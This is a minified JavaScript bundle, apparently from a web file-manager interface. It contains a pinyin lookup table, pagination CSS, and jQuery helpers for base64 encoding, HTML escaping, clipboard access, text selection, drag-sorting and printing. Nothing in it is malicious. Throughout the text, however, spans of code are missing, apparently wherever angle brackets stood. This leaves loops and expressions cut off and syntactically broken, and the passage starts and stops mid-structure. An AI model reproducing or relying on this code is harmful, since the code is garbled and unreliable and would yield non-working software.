汶扪焖懑鞔钔","mang":"忙盲茫芒氓莽蟒邙硭漭","meng":"蒙盟梦猛孟萌氓朦锰檬勐懵蟒蜢虻黾蠓艨甍艋瞢礞","miao":"苗秒妙描庙瞄缪渺淼藐缈邈鹋杪眇喵","mou":"某谋牟缪眸哞鍪蛑侔厶","miu":"缪谬","mei":"美没每煤梅媒枚妹眉魅霉昧媚玫酶镁湄寐莓袂楣糜嵋镅浼猸鹛","wen":"文问闻稳温纹吻蚊雯紊瘟汶韫刎璺玟阌","mie":"灭蔑篾乜咩蠛","ming":"明名命鸣铭冥茗溟酩瞑螟暝","na":"内南那纳拿哪娜钠呐捺衲镎肭","nei":"内那哪馁","nuo":"难诺挪娜糯懦傩喏搦锘","ruo":"若弱偌箬","nang":"囊馕囔曩攮","nao":"脑闹恼挠瑙淖孬垴铙桡呶硇猱蛲","ni":"你尼呢泥疑拟逆倪妮腻匿霓溺旎昵坭铌鲵伲怩睨猊","nen":"嫩恁","neng":"能","nin":"您恁","niao":"鸟尿溺袅脲茑嬲","nie":"摄聂捏涅镍孽捻蘖啮蹑嗫臬镊颞乜陧","niang":"娘酿","ning":"宁凝拧泞柠咛狞佞聍甯","nu":"努怒奴弩驽帑孥胬","nv":"女钕衄恧","ru":"入如女乳儒辱汝茹褥孺濡蠕嚅缛溽铷洳薷襦颥蓐","nuan":"暖","nve":"虐疟","re":"热若惹喏","ou":"区欧偶殴呕禺藕讴鸥瓯沤耦怄","pao":"跑炮泡抛刨袍咆疱庖狍匏脬","pou":"剖掊裒","pen":"喷盆湓","pie":"瞥撇苤氕丿","pin":"品贫聘频拼拚颦姘嫔榀牝","se":"色塞瑟涩啬穑铯槭","qing":"情青清请亲轻庆倾顷卿晴氢擎氰罄磬蜻箐鲭綮苘黥圊檠謦","zan":"赞暂攒堑昝簪糌瓒錾趱拶","shao":"少绍召烧稍邵哨韶捎勺梢鞘芍苕劭艄筲杓潲","sao":"扫骚嫂梢缫搔瘙臊埽缲鳋","sha":"沙厦杀纱砂啥莎刹杉傻煞鲨霎嗄痧裟挲铩唼歃","xuan":"县选宣券旋悬轩喧玄绚渲璇炫萱癣漩眩暄煊铉楦泫谖痃碹揎镟儇","ran":"然染燃冉苒髯蚺","rang":"让壤攘嚷瓤穰禳","rao":"绕扰饶娆桡荛","reng":"仍扔","ri":"日","rou":"肉柔揉糅鞣蹂","ruan":"软阮朊","run":"润闰","sa":"萨洒撒飒卅仨脎","suo":"所些索缩锁莎梭琐嗦唆唢娑蓑羧挲桫嗍睃","sai":"思赛塞腮噻鳃","shui":"说水税谁睡氵","sang":"桑丧嗓搡颡磉","sen":"森","seng":"僧","shai":"筛晒","shang":"上商尚伤赏汤裳墒晌垧觞殇熵绱","xing":"行省星腥猩惺兴刑型形邢饧醒幸杏性姓陉荇荥擤悻硎","shou":"收手受首售授守寿瘦兽狩绶艏扌","shuo":"说数硕烁朔铄妁槊蒴搠","su":"速素苏诉缩塑肃俗宿粟溯酥夙愫簌稣僳谡涑蔌嗉觫","shua":"刷耍唰","shuan":"栓拴涮闩","shun":"顺瞬舜吮","song":"送松宋讼颂耸诵嵩淞怂悚崧凇忪竦菘","sou":"艘搜擞嗽嗖叟馊薮飕嗾溲锼螋瞍","sun":"损孙笋荪榫隼狲飧","teng":"腾疼藤滕誊","tie":"铁贴帖餮萜","tu":"土突图途徒涂吐屠兔秃凸荼钍菟堍酴","wai":"外歪崴","wang":"王望往网忘亡旺汪枉妄惘罔辋魍","weng":"翁嗡瓮蓊蕹","zhua":"抓挝爪","yang":"样养央阳洋扬杨羊详氧仰秧痒漾疡泱殃恙鸯徉佯怏炀烊鞅蛘","xiong":"雄兄熊胸凶匈汹芎","yo":"哟唷","yong":"用永拥勇涌泳庸俑踊佣咏雍甬镛臃邕蛹恿慵壅痈鳙墉饔喁","za":"杂扎咱砸咋匝咂拶","zai":"在再灾载栽仔宰哉崽甾","zao":"造早遭枣噪灶燥糟凿躁藻皂澡蚤唣","zei":"贼","zen":"怎谮","zeng":"增曾综赠憎锃甑罾缯","zhei":"这","zou":"走邹奏揍诹驺陬楱鄹鲰","zhuai":"转拽","zun":"尊遵鳟樽撙","dia":"嗲","nou":"耨"},t.pinyinAll=["a","ai","an","ang","ao","ba","bao","bai","ban","bang","bei","ben","beng","bi","bian","biao","bie","bin","bing","bo","bu","ca","cai","can","cang","cao","ce","cen","ceng","cha","chai","chan","chang","chao","che","chen","cheng","chong","chou","chi","chu","chua","chuai","chuan","chuang","chui","chun","chuo","ci","cong","cou","cu","cuan","cui","cun","cuo","da","dai","dan","dang","dao","de","dei","den","deng","di","dian","diao","die","ding","diu","dong","dou","du","duan","dui","dun","duo","e","ei","en","eng","er","fa","fan","fang","fei","fen","feng","fo","fou","fu","ga","gai","gan","gang","gao","ge","gei","gen","geng","gong","gou","gu","gua","guai","guan","guang","gui","gun","guo","ha","hai","han","hang","hao","he","hei","hen","heng","hong","hou","hu","hua","huai","huan","huang","hui","hun","huo","ji","jia","jian","jiang","jiao","jie","jin","jing","jiong","jiu","ju","juan","jue","jun","ka","kai","kan","kang","kao","ke","ken","keng","kong","kou","ku","kua","kuai","kuan","kuang","kui","kun","kuo","la","lai","lan","lang","lao","le","lei","leng","li","lia","lian","liang","liao","lie","lin","ling","liu","long","lou","lu","lv","luan","lve","lun","luo","ma","mai","man","mang","mao","me","mei","men","meng","mi","mian","miao","mie","min","ming","miu","mo","mou","mu","na","nai","nan","nang","nao","ne","nei","nen","neng","ni","nian","niang","niao","nie","nin","ning","niu","nong","nou","nu","nv","nuan","nve","nuaio","o","ou","pa","pai","pan","pang","pao","pei","pen","peng","pi","pian","piao","pie","pin","ping","po","pou","pu","qi","qia","qian","qiang","qiao","qie","qin","qing","qiong","qiu","qu","quan","que","qun","ran","rang","rao","re","ren","reng","ri","rong","rou","ru","ruan","rui","run","ruo","sa","sai","san","sang","sao","se","sen","seng","sha","shai","shan","shang","shao","she","shei","shen","sheng","shou","shi","shu","shua","shuai","shuan","shuang","shui","shun","shuo","si","song","sou","su","suan","sui","sun","suo","ta","tai","tan","tang","tao","te","teng","ti","tian","tiao","tie","ting","tong","tou","tu","tuan","tui","tun","tuo","wa","wai","wan","wang","wei","wen","weng","wo","wu","xi","xia","xian","xiang","xiao","xie","xin","xing","xiong","xiu","xu","xuan","xue","xun","ya","yan","yang","yao","ye","yi","yin","ying","yong","you","yu","yuan","yue","yun","za","zai","zan","zang","zao","ze","zei","zen","zeng","zha","zhai","zhan","zhang","zhao","zhe","zhei","zhen","zheng","zhong","zhou","zhi","zhu","zhua","zhuai","zhuan","zhuang","zhui","zhun","zhuo","zi","zong","zou","zu","zuan","zui","zun","zuo"]},"763":function(e,t,n){(e.exports=n(236)(!1)).push([e.i,".my-page-box{\n\tcolor:#888;\n\tuser-select: none;\n\t-moz-user-select: none;\n\t-khtml-user-select: none;\n\t\n font-size: 12px;\n border: 1px solid #eee;\n border-radius: 3px;\n\tbox-shadow: 0 1px 2px rgba(0,0,0,0.05);\n\toverflow: hidden;\n\tposition: relative;\n}\n.my-page-box.data-only-one-page .page-content{display:none;}\n.my-page-box.data-only-one-page input{display:none;}\n.my-page-box.data-only-one-page .page-info{border-left:none;}\n.my-page-box.data-only-one-page .page-info{border:none;}\n.my-page-box .page-content .page-cover{\n\toverflow: hidden;\n\tfloat: left;\n}\n.my-page-box .page-content .page-cover ul{\n\tposition: relative;\n\twidth: 150px;\n\toverflow: hidden;\n\tlist-style: none;\n\tpadding: 0;\n margin: 0;\n}\n\n.my-page-box .page-content .page-to,\n.my-page-box .page-content ul li,\n.my-page-box .page-content ul .page-active-bg{\n\tdisplay: inline-block;\n\twidth: 30px;\n\theight: 28px;line-height: 28px;\n\tborder:1px solid #eee;\n\ttext-align: center;\n\tlist-style: none;\n\tcursor: pointer;\n\tmargin-left: -1px;\n\tborder-top: none;\n border-bottom: none;\n\tfloat: left;\n\ttransition: all .2s;\n}\n\n.my-page-box .page-content ul li.active,.my-page-box .page-content ul li.active:hover{color:#fff;}\n.my-page-box .page-content ul li span{z-index:3;position:relative;}\n.my-page-box .page-content .page-to {width: inherit;padding:0 0.5em;min-width:15px;}\n.my-page-box .page-content .page-to .font-icon{\n\tfont-size:16px;\n\tdisplay:inline-block;\n\tposition: relative;top: -1px;\n}\n.my-page-box .page-content .page-to.disable{opacity: 0.3;cursor: not-allowed;}\n.my-page-box .page-content .hidden{display: none;}\n\n.my-page-box .page-content ul .page-active-bg{\n position: absolute;\n top: 0;left: 0;\n border: 1px solid #1890ff;\n\tbackground-color: #1890ff;\n\tmargin-left: -1px;\n\tz-index: 2;\n\ttransition:none;\n}\n\n\n.my-page-box .page-content .page-to:hover,\n.my-page-box .page-content ul li:hover{\n\tcolor:#1890ff;\n\tbackground:#def;\n}\n\n\n\n\n.my-page-box .page-content,\n.my-page-box .page-info,\n.my-page-box .page-select{float:left;}\n\n.my-page-box .page-info{\n padding: 0 4px;\n border: 1px solid rgba(150,150,150,0.1);\n border-top: none;border-bottom: none;\n margin:0 5px;\n\theight: 28px;line-height: 30px;\n\tposition:relative;\n}\n.my-page-box .page-info input{\n\twidth: 25px;\n\theight: 16px;\n\tcolor: inherit;\n border: 1px solid #e5e5e5;\n text-align: center;\n padding: 2px 0px 1px 1px;\n border-radius: 3px;\n outline: none;\n}\n.my-page-box .page-info input:hover{\n\tborder-color:#40a9ff;\n}\n.my-page-box .page-info input:active,\n.my-page-box .page-info input:focus{\n\tborder-color:#40a9ff;\n\tbox-shadow: 0 0 0 2px rgba(24,144,255,0.2);\n}\n.my-page-box .page-info .page-to-btn{\n\tdisplay: inline-block;\n background: #fff;\n padding:3px 6px 2px 6px;\n border: 1px solid #eee;\n border-left: none;\n\tmargin: 0 5px 0 -7px;\n border-radius: 0 3px 3px 0;\n cursor: pointer;\n line-height: 14px;\n background-image: linear-gradient(to bottom,#fff 0,#eee 100%);\n}\n.my-page-box .page-info .page-to-btn:hover{\n\tbackground-image: linear-gradient(to bottom,#f6f6f6 0,#e6e6e6 100%);\n}\n\n.my-page-box .page-select{\n\tmargin-right: -15px;\n}\n.my-page-box .page-select select {\n\tappearance:none;\n\t-moz-appearance:none;\n\t-webkit-appearance:none;\n\t\n\tbackground-image: none !important;\n filter: none !important;\n\tborder: 1px solid #e5e5e5;\n\tcolor: inherit;\n outline: none;\n\tpadding: 0px 0.5em;\n\tpadding-right: 15px;\n height: 20px !important;\n margin-top:3px;\n line-height: 20px;\n border-radius: 3px;\n}\n.my-page-box .page-select select:hover{\n\tborder-color:#40a9ff;\n\tbox-shadow: 0 0 0 2px rgba(24,144,255,0.2);\n}\n.my-page-box .page-select .select-icon{\n position: relative;left: -21px;top: -2px;\n display: inline-block;\n width: 16px;height: 20px;line-height: 20px;\n\ttext-align: center;\n\tpointer-events: none;\n}\n.clear{clear: both;}\n\n.my-page-box .page-select select,.my-page-box .page-info input{\n border-color: rgba(150,150,150,0.1);\n background: rgba(200,200,200,0.08);\n\ttransition: all .2s;\n}\n\n\n.my-page-box .page-content .page-to, \n.my-page-box .page-content ul li, \n.my-page-box .page-content ul .page-active-bg{border:none;}",""])},"764":function(e,t){e.exports='$.objClone=function(obj){return $.isArray(obj)?$.extend(!0,[],obj):$.extend(!0,{},obj)},_.upperFirst=function(str){return str.slice(0,1).toUpperCase()+str.slice(1)},_.toUpperWithUnderLine=function(str){return str.replace(/_(\\w)/g,function(match,matchFirst){return matchFirst.toUpperCase()})},_.toUnderLine=function(str){return str.replace(/([A-Z])/g,function(match,matchFirst){return"_"+matchFirst.toLowerCase()})},_.numberConvert=function(number,lengthMin,bin){lengthMin=lengthMin||2;for(var result=(number=number||0).toString(bin=bin||16);result.length>18&7|240),bytes.push(c>>12&63|128),bytes.push(c>>6&63|128),bytes.push(63&c|128)):2048<=c&&c<=65535?(bytes.push(c>>12&15|224),bytes.push(c>>6&63|128),bytes.push(63&c|128)):128<=c&&c<=2047?(bytes.push(c>>6&31|192),bytes.push(63&c|128)):bytes.push(255&c);return bytes},_.bytesToString=function(bytes){bytes=bytes||[];for(var str="",i=0;i>2),out+=base64EncodeChars.charAt((3&c1)<<4),out+="==";break}if(c2=str.charCodeAt(i++),i==len){out+=base64EncodeChars.charAt(c1>>2),out+=base64EncodeChars.charAt((3&c1)<<4|(240&c2)>>4),out+=base64EncodeChars.charAt((15&c2)<<2),out+="=";break}c3=str.charCodeAt(i++),out+=base64EncodeChars.charAt(c1>>2),out+=base64EncodeChars.charAt((3&c1)<<4|(240&c2)>>4),out+=base64EncodeChars.charAt((15&c2)<<2|(192&c3)>>6),out+=base64EncodeChars.charAt(63&c3)}return out},"decode":function(str){var c1,c2,c3,c4,i,len,out,base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);for(len=str.length,i=0,out="";i>4);do{if(61==(c3=255&str.charCodeAt(i++)))return out;c3=base64DecodeChars[c3]}while(i>2);do{if(61==(c4=255&str.charCodeAt(i++)))return out;c4=base64DecodeChars[c4]}while(i>6|192):(utftext+=String.fromCharCode(c>>12|224),utftext+=String.fromCharCode(c>>6&63|128)),utftext+=String.fromCharCode(63&c|128))}return utftext},utf8Decode=function(utftext){for(var string="",i=0,c=c1=c2=0;i>2,enc2=(3&chr1)<<4|(chr2=input.charCodeAt(i++))>>4,enc3=(15&chr2)<<2|(chr3=input.charCodeAt(i++))>>6,enc4=63&chr3,isNaN(chr2)?enc3=enc4=64:isNaN(chr3)&&(enc4=64),output=output+_keyStr.charAt(enc1)+_keyStr.charAt(enc2)+_keyStr.charAt(enc3)+_keyStr.charAt(enc4);return output},"decode":function(input){var chr1,chr2,chr3,enc2,enc3,enc4,output="",i=0;for(input=input.replace(/[^A-Za-z0-9\\+\\/\\=]/g,"");i>4,chr2=(15&enc2)<<4|(enc3=_keyStr.indexOf(input.charAt(i++)))>>2,chr3=(3&enc3)<<6|(enc4=_keyStr.indexOf(input.charAt(i++))),output+=String.fromCharCode(chr1),64!=enc3&&(output+=String.fromCharCode(chr2)),64!=enc4&&(output+=String.fromCharCode(chr3));return output=utf8Decode(output)}}}(),Base64Server={"encode":function(stringToEncode){function encodeUTF8string(str){return encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,function(match,p1){return String.fromCharCode("0x"+p1)})}if("undefined"==typeof window)return new Buffer(stringToEncode).toString("base64");if("undefined"!=typeof window.btoa)return window.btoa(encodeUTF8string(stringToEncode));var h1,h2,h3,h4,bits,b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",i=0,ac=0,enc="",tmpArr=[];if(!stringToEncode)return stringToEncode;for(stringToEncode=encodeUTF8string(stringToEncode);h1=(bits=stringToEncode.charCodeAt(i++)<<16|stringToEncode.charCodeAt(i++)<<8|stringToEncode.charCodeAt(i++))>>18&63,h2=bits>>12&63,h3=bits>>6&63,h4=63&bits,tmpArr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4),i>16&255,o2=bits>>8&255,o3=255&bits,tmpArr[ac++]=64===h3?String.fromCharCode(o1):64===h4?String.fromCharCode(o1,o2):String.fromCharCode(o1,o2,o3),i/g,">").replace(/ /g," ").replace(/\\\'/g,"'").replace(/\\"/g,"""):""},htmlDecode=function(str){return str&&0!=str.length?str.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/ /g," ").replace(/'/g,"\'").replace(/"/g,\'"\'):""},htmlRemoveTags=function(str){return(str=str||"").replace(/<[^>]+>/g,"")},hashEncode=function(str){if(!str)return str;var res=base64Encode(str);return res=(res=(res=res.replace(/\\+/g,"_a")).replace(/\\//g,"_b")).replace(/=/g,"_c")},hashDecode=function(str){if(!str)return str;var res=str.replace(/_a/g,"+");return res=(res=res.replace(/_b/g,"/")).replace(/_c/g,"="),base64Decode(res)};'},"765":function(e,t){e.exports='$.fn.isEdit=function(){var element=$(this).get(0);return!!element&&("INPUT"==element.tagName||"SELECT"==element.tagName||"TEXTAREA"==element.tagName||element.isContentEditable)},$.isEdit=function(theEvent){return theEvent?$(theEvent.target).isEdit():$(":focus").isEdit()},$.fn.keyEnter=function(callback){return this.each(function(){$(this).bind("keydown",function(e){13==e.keyCode&&callback&&callback(e,$(this))})}),this},$.fn.autoTextarea=function(options){function resetHeight(that){if($(that).is("input"))$(that).css("width",$(that).displayWidth()+20);else{ie||(that.style.height=opts.minHeight+"px");var height=that.scrollHeight-opts.padding;opts.maxHeight&&height>=opts.maxHeight?that.style.height=opts.maxHeight+"px":height<=opts.minHeight?that.style.height=opts.minHeight+"px":that.style.height=height+"px"}}var padding=parseInt($(this).css("padding-top"))+parseInt($(this).css("padding-bottom")),defaults={"minHeight":$(this).innerHeight()-padding,"maxHeight":!1,"padding":padding},opts=$.extend({},defaults,options),ie=!!window.attachEvent&&!window.opera;return this.each(function(){$(this).bind("paste cut keydown keyup focus blur change",function(){resetHeight(this)}),resetHeight(this)}),this},$.fn.inputChange=function(callback){return this.each(function(){$(this).on("input propertychange change",function(e){var $input=$(this);if(!$input.prop("comStart")){var ignoreInput="radio,checkbox".split(",");"input"==e.type&&_.includes(ignoreInput,$input.attr("type"))||callback.apply(this,[$input.val()])}}).on("compositionstart",function(){$(this).prop("comStart",!0)}).on("compositionend",function(){$(this).prop("comStart",!1),$(this).trigger("input")})}),this},$.fn.focusPose=function(index){if($(this).is(":focus"))return this;var dom=$(this).get(0);if(index=index==undefined?$(this).val().length:parseInt(index),dom.setSelectionRange)dom.focus(),dom.setSelectionRange(index,index);else if(dom.createTextRange){var range=dom.createTextRange();range.collapse(!0),range.moveEnd("character",index),range.moveStart("character",index),range.select()}return this},$.fn.textRange=function(){var range={"text":"","start":0,"end":0},input=$(this).get(0);if(input.setSelectionRange)input.focus(),range.start=input.selectionStart,range.end=input.selectionEnd,range.text=window.getSelection().text;else if(document.selection){input.focus();var oS=document.selection.createRange(),oR=document.body.createTextRange();oR.moveToElementText(input),range.text=oS.text,range.bookmark=oS.getBookmark();for(var i=0;oR.compareEndPoints("StartToStart",oS)<0&&0!==oS.moveStart("character",-1);i++)"\\r"==textarea.value.charAt(i)&&i++;range.start=i,range.end=range.text.length+range.start}return range},$.fn.textSelect=function(start,end){if(0==$(this).length)return this;var input=$(this).get(0);if(start=start==undefined?0:parseInt(start),end=end==undefined?$(this).val().length:parseInt(end),input.createTextRange){var range=input.createTextRange();range.moveEnd("character",end),range.moveStart("character",start),range.select()}else input.setSelectionRange&&input.setSelectionRange(start,end);return this.focus(),this},$.fn.textInsert=function(text,range){var input=$(this).get(0);if(range=range||$(this).textRange(),$(this).textSelect(range.start,range.end),input.setSelectionRange){var oValue=input.value,nValue=oValue.substring(0,range.start)+text+oValue.substring(range.end),nStart=nEnd=range.start+text.length,st=input.scrollTop;input.value=nValue,input.scrollTop!=st&&(input.scrollTop=st),input.setSelectionRange(nStart,nEnd)}else if(input.createTextRange){var theRange=document.selection.createRange();theRange.text=text,theRange.setEndPoint("StartToEnd",theRange),theRange.select()}return $(this).scrollTop($(this).scrollHeight()),this},$.selectClear=function(){document.selection?document.selection.empty():window.getSelection&&window.getSelection().removeAllRanges()},$.copyText=function(text){if(text){var $dom=$("").appendTo("body"),input=$dom[0],doc=document;input.value=text.toString(),input.select(),doc.execCommand("copy"),$dom.remove()}},$.clipbardData=function(event,isHtml){var e=event||window.event||{},clipboard=e.clipboardData||e.originalEvent&&e.originalEvent.clipboardData;if(!clipboard&&window.clipboardData){var html=window.clipboardData.getData("text");return isHtml?html:htmlRemoveTags(html)}if(clipboard)return isHtml&&clipboard.getData("text/html"),clipboard.getData("text/plain")},$.selectText=function(isHtml){if(window.getSelection){var sel=window.getSelection();if(isHtml&&sel.rangeCount){for(var container=document.createElement("div"),i=0,len=sel.rangeCount;i
    ");if(options.viewBefore){var $viewBind=$view.next();$drag.insertAfter($view),$drag.addClass("drag-at-before")}else{$viewBind=$view.prev();$drag.insertBefore($view),$drag.addClass("drag-at-after")}"x"==options.orgin?$drag.addClass("drag-resize-x"):$drag.addClass("drag-resize-y");function sizeChange(offset,isSave){var beforeSize=currentSize;offset=offset||0;var size=0;size=options.viewBefore?currentSize+offset:currentSize-offset,beforeSize!=(size=sizeSet(size,isSave))&&options.onChange&&options.onChange.apply(context,[size,isSave])}var sizeSet=function(size,isSave){_.isString(size)&&(size=parseInt(size));return(size=(size=size<=options.size.min?options.size.min:size)>=options.size.max?options.size.max:size)>options.size.init-10&&size ")),$(this.container).attr("data-listidx",i).mousedown(this.grabItem).bind("dragsort-uninit",this.uninit),this.styleDragHandlers(!0),$(this.container).data("dragData",newList)},"uninit":function(){var list=lists[$(this).attr("data-listidx")];$(list.container).unbind("mousedown",list.grabItem).unbind("dragsort-uninit"),$(this.container).removeData("dragData"),list.styleDragHandlers(!1)},"getItems":function(){return $(this.container).children(opts.itemSelector)},"styleDragHandlers":function(cursor){},"grabItem":function(e){var list=lists[$(this).attr("data-listidx")];(list.initIsEmpty=!0)&&(list.initIsEmpty=!1,opts.tagName=$(list.container).children().get(0).tagName.toLowerCase(),""==opts.itemSelector&&(opts.itemSelector=opts.tagName),""==opts.dragSelector&&(opts.dragSelector=opts.tagName),""==opts.placeHolderTemplate&&(opts.placeHolderTemplate="<"+opts.tagName+"> "));var item=$(e.target).closest("[data-listidx] > "+opts.tagName).get(0),insideMoveableItem=0 "+opts.tagName),list.draggedItem.attr("data-origpos",$(this).attr("data-listidx")+"-"+$(list.container).children().index(list.draggedItem));var mt=parseInt(list.draggedItem.css("marginTop")),ml=parseInt(list.draggedItem.css("marginLeft"));if(list.offset=list.draggedItem.offset(),list.offset.top=e.pageY-list.offset.top+(isNaN(mt)?0:mt)-1,list.offset.left=e.pageX-list.offset.left+(isNaN(ml)?0:ml)-1,!opts.dragBetween){var containerHeight=0==$(list.container).outerHeight()?Math.max(1,Math.round(.5+list.getItems().length*list.draggedItem.outerWidth()/$(list.container).outerWidth()))*list.draggedItem.outerHeight():$(list.container).outerHeight();list.offsetLimit=$(list.container).offset(),list.offsetLimit.right=list.offsetLimit.left+$(list.container).outerWidth()-list.draggedItem.outerWidth(),list.offsetLimit.bottom=list.offsetLimit.top+containerHeight-list.draggedItem.outerHeight()}var h=list.draggedItem.height(),w=list.draggedItem.width(),dragItemDisplay=list.draggedItem.css("display");if("tr"==opts.tagName||"table-row"==dragItemDisplay?(list.draggedItem.children().each(function(){$(this).width($(this).width())}),list.placeHolderItem=list.draggedItem.clone().attr("data-placeholder",!0),list.draggedItem.after(list.placeHolderItem),list.placeHolderItem.css({"opacity":.001})):(list.draggedItem.after(opts.placeHolderTemplate),list.placeHolderItem=list.draggedItem.next().css({"height":h,"width":w}).attr("data-placeholder",!0)),"td"==opts.tagName||"table-cell"==dragItemDisplay){var listTable=list.draggedItem.closest("table").get(0);$("
    ").appendTo("body").children().append(list.draggedItem)}var orig=list.draggedItem.attr("style");list.draggedItem.attr("data-origstyle",orig||""),list.draggedItem.css({"position":"fixed","opacity":.8,"z-index":999,"height":h,"width":w}),list.scroll={"moveX":0,"moveY":0,"maxX":$(document).width()-$(window).width(),"maxY":$(document).height()-$(window).height()},list.scroll.scrollY=window.setInterval(function(){if(opts.scrollContainer==window){var t=$(opts.scrollContainer).scrollTop();(0offset.left&&e.clientXoffset.top&&e.clientYlist.draggedItem.offset().top||lastPos.left>list.draggedItem.offset().left?$(nlist.pos[ei].elm).before(list.placeHolderItem):$(nlist.pos[ei].elm).after(list.placeHolderItem),fixed.each(function(){var elm=children().eq(this.idx).get(0);this!=elm&&children().index(this)x&&this.pos[i].topy)return i;return-1},"createDropTargets":function(){opts.dragBetween&&$(lists).each(function(){var ph=$(this.container).find("[data-placeholder]"),dt=$(this.container).find("[data-droptarget]");0"+text+"",$html=$(html);$html.appendTo("body");var size=$html.get(0).offsetWidth;return $html.remove(),size},$.fn.autoFontSize=function(maxSize,minSize,maxWidth,addText){return $(this).each(function(){var $label=$(this),text=$label.text();if(maxSize=maxSize||100,minSize=minSize||12,addText=addText||"",!maxWidth){var parentWidth=$label.parent().innerWidth(),selfMax=$label.css("max-width")||"none";maxWidth=-1!=selfMax.indexOf("%")?parseInt(selfMax)/100*parentWidth:selfMax.indexOf("px")?parseInt(selfMax):.9*parentWidth}for(var i=minSize;imaxWidth));i++);}),this},$.stringWidth=function(str,fontSize){var span=$("#__getwidth");return 0==span.length&&($("").appendTo("body"),(span=$("#__getwidth")).css({"visibility":"hidden","whiteSpace":"nowrap"})),span.html(str),span.css({"font-size":fontSize+"px"}),span.width()},$.fn.longPress=function(callback,time){time==undefined&&(time=2e3),$(this).die("mousedown").live("mousedown",function(){var timer=setTimeout(function(){callback(this)},time);$(this).data("longPressTimer",timer)}).die("mouseup").live("mouseup",function(){clearTimeout($(this).data("longPressTimer"))}).die("mouseout").live("mouseout",function(){clearTimeout($(this).data("longPressTimer"))})}}(jQuery),function($){$.getUrlParam=function(name,url){url=url||window.location.href;var urlParam=$.parseUrl(url);return name?urlParam.params[name]:urlParam},$.parseUrl=function(url){url=url||window.location.href;var a=document.createElement("a"),result={"source":a.href=url,"protocol":a.protocol.replace(":",""),"host":a.hostname,"port":a.port,"query":a.search,"params":function(){for(var s,ret={},i=0,seg=a.search.replace(/^\\?/,"").split("&");i?@[\\\\\\]^`{|}~]/g,"\\\\$&"):str},$.objectInsert=function(obj,insert,matchKey,isAfter){var result={};for(var key in obj)if(obj.hasOwnProperty(key)&&key==matchKey)if(isAfter)for(var insertKey in result[key]=obj[key],insert)result[insertKey]=insert[insertKey];else{for(var insertKey in insert)result[insertKey]=insert[insertKey];result[key]=obj[key]}else result[key]=obj[key];return result},$.setStyle=function(cssText,id){var head=document.getElementsByTagName("head")[0]||document.documentElement,element=document.getElementById(id);if($(element).remove(),cssText)if(element=document.createElement("style"),id&&(element.id=id),element.type="text/css",head.appendChild(element),element.styleSheet!==undefined){if(31\\t\\t\\tYour browser not support flash
    \\t\\t\\tBrowser:"+window.navigator.userAgent+"
    ");var classID="";return $.browser.msie&&parseInt($.browser.version)<9&&(classID=\'classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"\'),html+=\'\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\',support&&setTimeout(function(){var $swf=$("#swf_"+uuid);if(1==$swf.length)var time=0,tips=Tips.loadingMask($swf.parent()),interval=setInterval(function(){try{time++,(100==Math.floor($swf[0].PercentLoaded())||10\');var iframeDom=$($parent).find("iframe").get(0);if(iframeDom.tagName&&"iframe"==iframeDom.tagName.toLowerCase()){var page=iframeDom.contentWindow.document;try{page.open(),page.write(content),page.close()}catch(d){$($parent).html(content)}}else $($parent).html(content)},$.printLink=function(link){var $iframe=$("#page-print");0<$iframe.length&&$iframe.remove(),$(\'\').appendTo("body");var iframe=$("#page-print").get(0);iframe.onload=function(){iframe.contentWindow.focus(),iframe.contentWindow.print(),iframe.contentWindow.blur(),window.focus()},link&&(iframe.src=link)},$.loadReady=function(checkArr,callback){checkArr=_.isArray(checkArr)?checkArr:[checkArr];var checkTimer=setInterval(function(){var isLoad=!0;_.each(checkArr,function(val){_.isUndefined(_.get(window,val))&&(isLoad=!1)}),isLoad&&(clearTimeout(clearDelay),clearInterval(checkTimer),callback&&callback())},100),clearDelay=setTimeout(function(){clearInterval(checkTimer)},6e4)};var ua=navigator.userAgent;$.browserIS={"ie":!!(window.ActiveXObject||"ActiveXObject"in window),"ie8":this.ie&&parseInt($.browser.version)<=8,"wap":ua.match(/(iPhone|iPod|Android|ios|MiuiBrowser)/i),"trident":-1"+html+"
    ",$.browser.opera){var tab=window.open("","print-preview");doc.open();var doc=tab.document,paWindow=tab}else{var $iframe=$("